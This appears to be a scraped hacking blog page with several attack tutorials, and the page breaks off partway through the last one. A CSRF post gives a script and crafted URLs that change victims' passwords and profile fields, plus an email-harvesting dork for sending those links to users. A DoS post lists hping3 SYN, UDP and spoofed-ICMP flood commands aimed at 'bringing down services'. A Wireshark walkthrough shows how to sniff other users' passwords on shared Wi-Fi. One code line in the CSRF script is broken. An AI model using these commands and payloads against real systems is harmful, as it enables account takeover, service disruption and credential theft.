style="font-size: medium;"><b>Java Script</b></span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>using image object.</b></span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>PHP Code:</b></span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b><script></b></span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"> <span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>var poniz = new Image();</b></span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"> <span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>test.poniz = "http://targetsite.com/change_password.php?new_password=123456";</b></span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b></script> </b></span></span></span></div><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span><u style="font-family: 'Bitstream Charter', serif; font-size: large; line-height: 0.19in;"><b>Exploiting sequence</b></u><br /><div align="LEFT" style="line-height: 0.19in; margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: black;"><br /></span><span style="color: black;">Here a cool example that actually belong to Black-SEO.</span><span style="color: black;"><br /></span><span style="color: black;">What I want to check in my user control panel is the parameters are sent as a request to HTTP server when I'm updating my home page via the user control panel.</span><span style="color: black;"><br /></span><span style="color: black;">There are a variety of fields that can be updated, such as address, phone, email, name, content, and most importantly for this example: </span><span style="color: black;">The favorite website\home page address</span><span style="color: black;">.</span><span style="color: black;"><br /></span><span style="color: black;">These parameters are sent to the server when updating my website address. So it seems to Firebug: </span></span></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOuQNWegxoc35_gNs9MTb4luXS-WfVtIgKObpgwaCryQqIOobOq9yCuPcRVdFyiQ9euSEWgZI2o3WS2diSV2BwJRxDcw4YuteJ8fEGj1rh74THb2DIj80Rqt2GJYSPpZkdqVbv0z1bokiV/s1600/UYIgx.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="csrf-tutorial" border="0" height="362" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOuQNWegxoc35_gNs9MTb4luXS-WfVtIgKObpgwaCryQqIOobOq9yCuPcRVdFyiQ9euSEWgZI2o3WS2diSV2BwJRxDcw4YuteJ8fEGj1rh74THb2DIj80Rqt2GJYSPpZkdqVbv0z1bokiV/s400/UYIgx.png" title="csrf-tutorial-2" width="400" /></a></div><div align="LEFT" style="line-height: 0.19in; margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: black;"><br /></span></span></span><span style="font-family: 'Bitstream Charter', serif; font-size: medium; line-height: 0.19in;"> </span><br /><span style="font-family: 'Bitstream Charter', serif; font-size: medium; line-height: 0.19in;">These parameters are sent to the server using POST method. So we do not see the parameters in the URL address. But, if the parameters will be written via GET method, the data will sent? Let's see.</span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Code:</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>http://targetsite.com?users.php?db[webaddress]=http://www.PonizSite.com&action=save</b></span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">It works! (Actually...in the server-side code(php), the variable was in REQUEST method...but it's not matter)</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><br /></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Now ... Imagine that Dork like this one:</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Quote:</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>site:targetsite.com & intext:"Homepage" & intext:"email: "</b></span></span></span></div><div align="LEFT" style="line-height: 0.19in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Now, I've got all the emails of users and I can send them an emails with img tag, and when they will open it, their </span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><i>home page\website address</i></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">field in their profile will change(To </span></span></span><a href="http://www.ponizsite.com/" target="_blank"><span style="color: black;"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">http://www.ponizSite.com</span></span></span></span></a><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">) </span></span></span><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><img align="BOTTOM" alt="Oui" border="0" height="20" name="graphics4" src="http://cdn2.hackforums.net/images/blackreign/images/smilies/oui.gif" width="20" /></span></span></span><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span></div><div style="line-height: 0.19in; margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><u><b>How to prevent?</b></u></span></span></span></div><div align="LEFT" style="line-height: 0.19in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br />There are not many hermetical familiar solutions to prevent CSRF attacks. <br />Except from one: Tokens.<br />What are actually tokens? This is a hidden random ID responsible for sending structured data, such as logging into forms, forms that allow registered users to update data or home page(in our case <img align="BOTTOM" alt="Evilgrin" border="0" height="20" name="graphics5" src="http://cdn2.hackforums.net/images/blackreign/images/smilies/evilgrin.gif" width="20" />)</span></span></span></div><div align="LEFT" style="border-bottom-style: none; border-color: initial; border-image: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; line-height: 0.19in; margin-bottom: 0.04in; margin-top: 0.04in; padding-bottom: 0in; padding-left: 0in; padding-right: 0in; padding-top: 0in;"><br /><br /></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b><input type="hidden" name="8pssf18ssdmf8s7p80fodi" value='1' id="token" /></b></span></span></span></div><div align="LEFT" style="border-bottom-style: none; border-color: initial; border-image: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; line-height: 0.19in; margin-bottom: 0.04in; margin-top: 0.04in; padding-bottom: 0in; padding-left: 0in; padding-right: 0in; padding-top: 0in;"><br /><span style="font-family: 'Bitstream Charter', serif; font-size: medium; line-height: 0.19in;">Since the tokens are defined, the attacker can not know what is the token of the slave, because every loading of the page the token will change to other random number\string.</span></div><div align="LEFT" style="line-height: 0.19in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br />Tips :</span></span></span></div><ul><li><div align="LEFT" style="line-height: 0.19in; margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Don't forget to delete your cookies.</span></span></span></div></li><li><div align="LEFT" style="line-height: 0.19in; margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Use tokens(Captcha is safer).</span></span></span></div></li><li><div align="LEFT" style="line-height: 0.19in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">When you built your php site, don't use <i>GET</i> \ <i>REQUEST</i> super-global variables.</span></span></span></div></li></ul></div>

How to exploit CSRF vulnerability(CSRF tutorial)?

Today, I'm going to explain you about WEB vulnerability that not everyone knows...but it very popular. This vulnerability is very danger...

+ Read more »

Online Hacking tools

<div dir="ltr" style="text-align: left;" trbidi="on"><span style="font-size: medium;"><span style="font-family: 'Bitstream Charter', serif;">Here are some online hacking tools. If your internet connection is slow then you don`t want to download some security software for just information gathering & exploit searching. So you can use online website for this purpose, although big advantage is your i.p is not directly flashing to victim. If you use proxy then it`s more secure because website don`t have your i.p also.</span></span><br /><div align="LEFT" style="margin-bottom: 0in;"><br /></div><div align="LEFT" style="line-height: 0.17in; margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><a href="http://www.novirusthanks.org/">http://www.novirusthanks.org/</a>(Online File Scanner)<br /><a href="http://www.virustotal.com/">http://www.virustotal.com</a>(Online File Scanner)<br /><a href="http://anubis.iseclab.org/">http://anubis.iseclab.org/</a>(Online File Scanner)<br /><a href="http://www.ipvoid.com/">http://www.ipvoid.com/</a>(IP Address scanner)<br /><a href="http://www.threatlog.com/">http://www.threatlog.com/</a>(HoneyPot Database)<br /><a href="http://www.idoproxy.com/">http://www.idoproxy.com</a>(proxy)<br /><a href="http://whois.domaintools.com/">http://whois.domaintools.com/</a>(Whois lookup)<br /><a href="http://www.robtex.com/">http://www.robtex.com/</a>(swiss army knife internet tool)<br /><a href="http://www.netirk.com/">http://www.netirk.com/</a>(Pinger)<br /><a href="http://www.ahbl.org/lktool">http://www.ahbl.org/lktool</a>(IP Lookup)</span></span><br /><a href="http://www.blocklist.de/" target="_blank"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">http://www.blocklist.de/</span></span></span></a><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /><a href="http://www.cirt.net/passwords">http://www.cirt.net/passwords</a>(Default password list)<br /><a href="http://www.cirt.net/ports">http://www.cirt.net/ports</a>(Default Ports List)<br /><a href="http://www.urlvoid.com/extract-url/">http://www.urlvoid.com/extract-url/</a>(URL Shortener extractor)<br /><a href="http://www.urlvoid.com/http-headers/">http://www.urlvoid.com/http-headers/</a>(Show the HTTP headers of a link)<br /><a href="http://www.urlvoid.com/find-parasites/">http://www.urlvoid.com/find-parasites/</a>(Find Parasites)<br /><a href="http://www.urlvoid.com/url-dump/">http://www.urlvoid.com/url-dump/</a>(URL Dump)<br /><a href="http://www.fail2ban.org/wiki/index.php/Main_Page">http://www.fail2ban.org/wiki/index.php/Main_Page</a>( For your website)<br /><a href="http://www.nmap.org/">http://www.nmap.org</a>(port scanner)</span></span></div><div align="LEFT" style="line-height: 0.17in; margin-bottom: 0in;"></div><a name="more"></a><b style="font-family: 'Bitstream Charter', serif; font-size: large; line-height: 0.17in;"><br /></b><b style="font-family: 'Bitstream Charter', serif; font-size: large; line-height: 0.17in;">Exploit Search:</b><br /><div align="LEFT" style="line-height: 0.17in; margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><a href="http://exploitsearch.com/">http://exploitsearch.com/</a>(google engine)<br /><a href="http://www.exploitsearch.net/">http://www.exploitsearch.net/</a>(nvd,osvdb,metasploit,…)<br /><a href="http://shodan.surtri.com/">http://shodan.surtri.com/</a>(engine)</span></span><br /><a href="http://www.hack0wn.com/advisories.php"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">http://www.hack0wn.com/advisories.php</span></span></span></a><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span><a href="http://www.1337day.com/"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">http://www.1337day.com/</span></span></span></a><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span><a href="http://www.exploit-db.com/"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">http://www.exploit-db.com/</span></span></span></a><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span><a href="http://securityvulns.com/"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">http://securityvulns.com/</span></span></span></a></div><div align="LEFT" style="line-height: 0.17in; margin-bottom: 0in;"><span style="color: black;"><a href="http://www.zerodayinitiative.com/advisories/published/"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">http://www.zerodayinitiative.com/advisories/published/</span></span></span></a><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span><a href="http://seclists.org/fulldisclosure/"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">http://seclists.org/fulldisclosure/</span></span></span></a><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span><a href="https://web.nvd.nist/"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">https://web.nvd.nist</span></span></span></a></span></div><div align="LEFT" style="line-height: 0.17in; margin-bottom: 0in;"><span style="color: black;"><a href="https://web.nvd.nist.gov/view/vuln/search?cid=3"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">https://web.nvd.nist.gov/view/vuln/search?cid=3</span></span></span></a><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span><a href="https://www.us-cert/"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">https://www.us-cert</span></span></span></a></span></div><div align="LEFT" style="line-height: 0.17in; margin-bottom: 0in;"><span style="color: black;"><a href="https://www.us-cert.gov/cas/techalerts/"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">https://www.us-cert.gov/cas/techalerts/</span></span></span></a><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span><a href="http://www.cvedetails.com/"><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">http://www.cvedetails.com/</span></span></span></a><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span><span style="text-decoration: none;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><a href="http://routerpwn.com/">http://routerpwn.com/</a></span></span></span></span></div></div>

Online Hacking tools

Here are some online hacking tools. If your internet connection is slow then you don`t want to download some security software for just info...

+ Read more »

DOS attack from linux using hping3.

<div dir="ltr" style="text-align: left;" trbidi="on"><b><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">I am here to explain the DoS attacks (with practicals). You all know about DoS attack, Denial-of-Service Attacks. In this attack, attacker denies the user to use a particular service. You can have many tools for DoS attacks, but I'm gonna teach you a simple method for stress testing on the service.</span></span></b><b><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-weight: normal;"><br /></span></span></span></b><b><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">We need Hping3 (It is available in linux only but you can use hping2 in windows but i can't assure you that it will work for this practical).</span></span></b><b><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><a href="http://www.hping.org/download.php">Download Hping2/3 here</a> .</span></span></b><br /><div align="LEFT" style="margin-bottom: 0in;"><br /></div><div align="LEFT" style="margin-bottom: 0in;"><br /></div><div align="LEFT" style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>Ok so let's bring down some services.</b></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b></b></span></span></span></div><a name="more"></a><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b><br /></b><b>Open the console and go to the path of hping3 and give the following command.</b><b><br /><br />hping3 --rand-source –S –L 0 –p <target port> <target IP></b><b>Here we are sending SYN packets (set value by replacing 0) with a random source.</b><b><br /><br />hping3 --rand-source –SA –p <open port> <target IP></b><b>Here we are sending SYN + ACK packets from a random source.</b><b><br /><br />hping3 --rand-source -–udp <target IP> --flood</b><b>Flooding the target IP with UDP packets.</b><b><br /><br />hping3 --rand-source –SAFRU –L 0 –M 0 –p <port> <target> --flood</b><b>In this command, we are sending SYN+ACK+FIN+RST+URG packets with TCP ack (-L) and TCP seq (-M). Change the values after -L and -M.</b><b><br /><br />hping3 --icmp --spoof <target address> <broadcast address> --flood</b><b>Flooding with ICMP packets by spoofed IP (--spoof).</b><b><br /></b><b>Once you download the hping, open your console and type "hping3 --help" for more options.</b></span></span></span></div>

DOS attack from linux using hping3.

I am here to explain the DoS attacks (with practicals). You all know about DoS attack, Denial-of-Service Attacks. In this attack, attacker d...

+ Read more »

How to Sniff HTTP POST Password via Network Using Wireshark Network Analyzer?

<div dir="ltr" style="text-align: left;" trbidi="on"><ol style="text-align: left;"><div style="line-height: 0.19in; margin-bottom: 0in; text-align: left;"><span style="font-family: 'Trebuchet MS';"> </span><br /><div align="LEFT"><span style="font-family: 'Trebuchet MS';"><b><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-weight: normal;">How to Sniff HTTP POST Password via Network Using Wireshark Network Analyzer?</span></span></span></span></b></span><br /></div><span style="font-family: 'Trebuchet MS';"></span><br /><div align="LEFT"><span style="font-family: 'Trebuchet MS';"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: black;">Nowadays most website around the world more than 50% of them (in my opinion ) they didn't provide a secure access into a personal profile or some page that require authentication process where users input their username and password. As we know that data sent via port 80 (HTTP) was plain and without any encryption.</span></span></span></span></div><span style="font-family: 'Trebuchet MS';"></span><div align="LEFT"><span style="font-family: 'Trebuchet MS';"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: black;">This tutorial can be an angel and also devil in the same time, it depends to you who use this tutorial for which purpose…me as a writer of this tutorial just hope that all of you can be an angel and know the bad things can happen from it, because I believe that no one from you want your password sniffed by someone out there so don't do that to others too .</span></span></span></span></div><span style="font-family: 'Trebuchet MS';"><div align="LEFT"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: black;">Requirements :</span></span></span></div><div align="LEFT"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: black;">1.</span><span style="color: black;">Wireshark Network Analyzer (wireshark.org)</span></span></span></div><div align="LEFT"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: black;">2. Network Card (Wi-Fi Card, LAN Card, etc) fyi : for wi-fi it should support promiscious mode .</span></span></span></div><div align="LEFT"><br /><a name="more"></a><br /><br /></div></span></div><ol style="font-family: 'Trebuchet MS';"><li><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Before we go to step by step section, here's the scenario : v4L is an attacker and he was sitting and drink starbucks coffee with laptop on his table and he's connected to free wi-fi service there. He run Wireshark for a couple moment and he analyze the data sent across the network and he try to find the password that inputted by victim.</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Step by Step :</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><br /></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">1. Download your wireshark and install it (in Windows you just need to click NEXT and FINISH to install it), in Backtrack 5 it's already there. Run the program (Windows : double click the icon; Backtrack : open terminal and type wireshark).</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">from the picture above maybe your network card is different, just choose which one is your network card and click start..</span></span></span></div><div align="LEFT"><br /><br /></div><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqVnGFly_hWI1Imf_sdnRBGDaAEqoffFZhhwMK4UsaTu_Cfos6YmD3O9lZbs9Y4SOiD4NZQvssk3aHI5kuETbhV-kqUD0tgthUb9T9Ge9zAKINaRAo_NUXj7fkK3rqlN0dY1zsdC85PC-O/s1600/wireshark0+%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="wireshark" border="0" height="328" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqVnGFly_hWI1Imf_sdnRBGDaAEqoffFZhhwMK4UsaTu_Cfos6YmD3O9lZbs9Y4SOiD4NZQvssk3aHI5kuETbhV-kqUD0tgthUb9T9Ge9zAKINaRAo_NUXj7fkK3rqlN0dY1zsdC85PC-O/s640/wireshark0+%25281%2529.jpg" title="wireshark" width="640" /></a></div><div style="line-height: 0.19in; margin-bottom: 0in; text-align: left;"></div><blockquote style="border: none; margin: 0 0 0 40px; padding: 0px;"><blockquote style="border: none; margin: 0 0 0 40px; padding: 0px;"><span style="font-size: small;"><span style="font-family: Trebuchet MS;"><br /></span></span></blockquote></blockquote><div align="LEFT"><b><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-weight: normal;">2. Victim with the same network with v4L was really love to open this two websit</span></span></span></span></b><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-weight: normal;">e.</span></span></span></span><b><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-weight: normal;"> </span></span></span></span></b><br /></div><div style="line-height: 0.19in; margin-bottom: 0in; text-align: left;"></div><blockquote style="border: none; margin: 0 0 0 40px; padding: 0px;"><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfGhIu4qb58j5OmuS5xkOcnPAfbFlbRa2HJT3XWs1vRti3CF3i92Y03ZgPcIKHlvN9MDGst_etFzP8fAS0HYylFtgGXQykHMiu7dWvH3Mw7bjw2wm8yRMgp0_WDx-9qxckpo_xebj7jfN3/s1600/wireshark1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="wireshark" border="0" height="146" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfGhIu4qb58j5OmuS5xkOcnPAfbFlbRa2HJT3XWs1vRti3CF3i92Y03ZgPcIKHlvN9MDGst_etFzP8fAS0HYylFtgGXQykHMiu7dWvH3Mw7bjw2wm8yRMgp0_WDx-9qxckpo_xebj7jfN3/s400/wireshark1.jpg" title="wireshark-1" width="400" /></a></div><blockquote style="border: none; margin: 0 0 0 40px; padding: 0px;"><span style="font-size: small;"><span style="font-family: Trebuchet MS;"><br /></span></span></blockquote></blockquote><br /> <div align="LEFT"><b><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-weight: normal;">3. After victim open that two websites, wireshark on attacker computer catch some data cross the network.</span></span></span></span></b><br /></div><blockquote style="border: none; margin: 0 0 0 40px; padding: 0px;"><div style="line-height: 0.19in; margin-bottom: 0in; text-align: left;"></div><blockquote style="border: none; margin: 0 0 0 40px; padding: 0px;"><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlNqLLewCC9VvdULwXI25Gr4Lpl-xu7y32cQwLB7tSzm8grHOwt1UlViqnPJ1p82O2sPnNnUIMaHtrWJhA29xirpsbdE4byZCF22e9GeYv8V7InL8g0L2l7CvBFcWXL3qFZYtRyUtMeQGB/s1600/wireshark3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="wireshark" border="0" height="166" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlNqLLewCC9VvdULwXI25Gr4Lpl-xu7y32cQwLB7tSzm8grHOwt1UlViqnPJ1p82O2sPnNnUIMaHtrWJhA29xirpsbdE4byZCF22e9GeYv8V7InL8g0L2l7CvBFcWXL3qFZYtRyUtMeQGB/s400/wireshark3.jpg" title="wireshark-3" width="400" /></a></div><div style="line-height: 0.19in; margin-bottom: 0in; text-align: left;"><br /></div></blockquote></blockquote><div style="line-height: 0.19in; margin-bottom: 0in; text-align: left;"><div align="LEFT"><b><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-weight: normal;">4. After some times then attacker stop capturing the packet on the network by click the button (see picture) to stop Wireshark Network Analyzer from capturing the packet.</span></span></span></span></b><br /></div></div><blockquote style="border: none; margin: 0 0 0 40px; padding: 0px;"><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7qOEnH5WGabTU2veAxsfxb5YLgB1tV90S6xi2PxoDUqeokh2rmUYTfE2eD3l_dJ_SvtRV2lSZKn83UvXGIDz9vkDGnJGL8gurkF0UvU_VoaWFpGQN32fbRsNAMFbXcFoX-U-P0_6ojuqX/s1600/wireshark4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="wireshark" border="0" height="127" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7qOEnH5WGabTU2veAxsfxb5YLgB1tV90S6xi2PxoDUqeokh2rmUYTfE2eD3l_dJ_SvtRV2lSZKn83UvXGIDz9vkDGnJGL8gurkF0UvU_VoaWFpGQN32fbRsNAMFbXcFoX-U-P0_6ojuqX/s320/wireshark4.jpg" title="wireshark-4" width="320" /></a></div><blockquote style="border: none; margin: 0 0 0 40px; padding: 0px;"><span style="font-size: small;"><span style="font-family: Trebuchet MS;"><br /></span></span></blockquote></blockquote><div align="LEFT"><b><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-weight: normal;">5. If you learn about web programming, you should know that data from FORM can be sent with two method POST or GET (for details about this POST and GET definitions you can google for it).<br />The attacker know that authentication process should be use POST method for data transmission, then v4L use the filter feature in Wireshark to just only filter the HTTP POST method.</span></span></span></span></b><br /></div><div style="line-height: 0.19in; margin-bottom: 0in; text-align: left;"></div></li></ol><div class="separator" style="clear: both; font-family: 'Trebuchet MS'; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhijtHJUprQTjtbWP-6KBgE0oy6xq9YEhtZBidJkhoYod4cajSwGk7sBgBGNgRelxl96sed2UsdfVVLL-4g28sYJg9bh7N_Ip_x5vvU0kyJh5lGSDu2rbg-7R9I5uMvo2koTxUR6htKaiqd/s1600/wireshark5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="wireshark" border="0" height="352" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhijtHJUprQTjtbWP-6KBgE0oy6xq9YEhtZBidJkhoYod4cajSwGk7sBgBGNgRelxl96sed2UsdfVVLL-4g28sYJg9bh7N_Ip_x5vvU0kyJh5lGSDu2rbg-7R9I5uMvo2koTxUR6htKaiqd/s640/wireshark5.jpg" title="wireshar-5" width="640" /></a></div><div style="font-family: 'Trebuchet MS'; line-height: 0.19in; margin-bottom: 0in; text-align: left;"><span style="font-size: small;"><span style="font-family: Trebuchet MS;">                                 http:.request.method == "POST"<br />                                  <br />    </span></span><b style="line-height: 0.19in;"><span style="color: black;">      <span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-weight: normal;">then press ENTER or click Apply.</span></span></span></span></b><br /><br /><ol> <ol start="6"><li><div align="LEFT" style="line-height: 0.19in; margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">If you only see the filter result, maybe you can be a little confused with the data contents over there. We can expand the data, but it's too many information that can make us hard to read one by one the data over there. For the simple thing we can use the ”Follow TCP Stream“ feature. Choose the data, right click and choose Follow TCP Stream.</span></span></span></div></li></ol></ol><div align="LEFT"><br /></div></div><div class="separator" style="clear: both; font-family: 'Trebuchet MS'; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTY6hXoBuRGifbKKfyWFC4jnbiKuGfTjZqPBo3e4OAzxDU1KipS6QhFkADGgsHMfhowDwoQN7p6_CkpeedkV3kXRJuK-4gpLRG0hJ7eqU21jfZCxNdFRlZd031MsSmh9sxtb2MX7u-jllk/s1600/wireshark6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="wireshark" border="0" height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTY6hXoBuRGifbKKfyWFC4jnbiKuGfTjZqPBo3e4OAzxDU1KipS6QhFkADGgsHMfhowDwoQN7p6_CkpeedkV3kXRJuK-4gpLRG0hJ7eqU21jfZCxNdFRlZd031MsSmh9sxtb2MX7u-jllk/s640/wireshark6.jpg" title="wireshark-6" width="640" /></a></div><div style="font-family: 'Trebuchet MS'; line-height: 0.19in; margin-bottom: 0in; text-align: left;">                         <br /><b style="line-height: 0.19in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-weight: normal;">Here's the result after we make it more readable by human.</span></span></span></span></b><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9Jl7PyZsb71HNZkmJtKCPhCauoAL1mhH8sbj-iNlGHu5XXjilGqbdaMnEzz9C9IH01TAru5te34JcHQLhrJMT7Lny6yh4WUHWVrUrf5lz03mTswStl23_NpMrc_jIOaehfwR7yrltqwtJ/s1600/wireshark7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="wireshark" border="0" height="304" 